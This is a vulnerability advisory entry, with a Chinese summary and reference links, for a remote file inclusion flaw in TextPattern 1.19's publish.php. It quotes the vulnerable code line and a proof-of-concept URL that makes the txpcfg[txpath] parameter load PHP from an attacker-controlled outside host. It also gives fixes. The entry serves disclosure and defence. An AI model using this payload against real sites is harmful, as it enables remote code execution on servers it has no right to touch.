TextPattern 'Publish.PHP'远程文件包含漏洞

https://www.exploit-db.com/exploits/2646
https://cxsecurity.com/issue/WLB-2006100156
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200610-520

Textpattern1.19的publish.php中存在PHP远程文件包含漏洞，在启用register_globals的情况下，远程攻击者可以通过txpcfg[txpath]参数中的URL来执行任意PHP代码。

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TextPattern <=g1.19 (txpcfg[txpath]) Remote File Inclusion Vulnerability
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Author		: Zeni Susanto A.K.A Bithedz
Date Found	: October, 25th 2006
Location	: Indonesia,Bandung
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: TextPattern
version		: <=g1.19
URL		: http://textpattern.com/deanload/textpattern_g119.zip

textpattern is A free, flexible, elegant, easy-to-use content management system for all kinds of websites, even weblogs.


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Vulnerability:
~~~~~~~~~~~

In file publish.php I found vulnerability script
--------------------------publish.php---------------------------------------
define("txpath",$txpcfg['txpath']); 
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Input passed to the "txpcfg['txpath']" parameter in publish.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.


Proof Of Concept:
~~~~~~~~~~~~
http://yourtargetsite/[textpattern_g119_path]/textpattern/publish.php?txpcfg[txpath]=http://attact/colok.txt?
Solution:
~~~~
- Sanitize variable $txpcfg['txpath'] on affected files.
- Turn off register_globals

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Shoutz:
~
~ K-159
~ Monik My Brain
~ #bridge (silent) @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~
bithedz[at]gmail[dot]com

# milw0rm.com [2006-10-25]

来源:BID
名称:20769
链接:http://www.securityfocus.com/bid/20769
来源:BUGTRAQ
名称:20061027TextPattern<=1.19RemoteFileInclusionVulnerability
链接:http://www.securityfocus.com/archive/1/archive/1/449907/100/0/threaded
来源:SREASON
名称:1794
链接:http://securityreason.com/securityalert/1794